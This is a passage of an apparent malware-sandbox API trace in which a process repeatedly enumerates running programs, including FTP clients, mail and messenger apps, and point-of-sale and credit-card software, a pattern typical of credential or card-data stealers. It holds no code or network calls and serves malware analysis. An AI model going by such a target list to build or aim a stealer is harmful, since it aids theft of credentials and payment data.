cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0291.140] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0291.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0291.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0291.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0291.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0291.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0291.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0291.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0291.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0291.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0291.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0291.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0291.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0291.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0291.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0291.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0291.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0291.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0291.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0291.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0291.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0291.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0291.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0291.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0291.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0291.287] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0291.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0291.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0291.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0291.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0291.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0291.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0291.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0291.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0291.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0291.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0291.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0291.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0291.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0291.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0291.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0291.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0291.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0291.360] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0291.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.365] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0291.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0291.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0291.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0291.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0291.374] CloseHandle (hObject=0x344) returned 1 [0291.374] Sleep (dwMilliseconds=0x64) [0291.426] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0291.493] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0291.499] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.501] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0291.503] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0291.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0291.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0291.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.515] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.527] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.529] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.596] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.598] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.604] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0291.606] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0291.608] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0291.613] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, 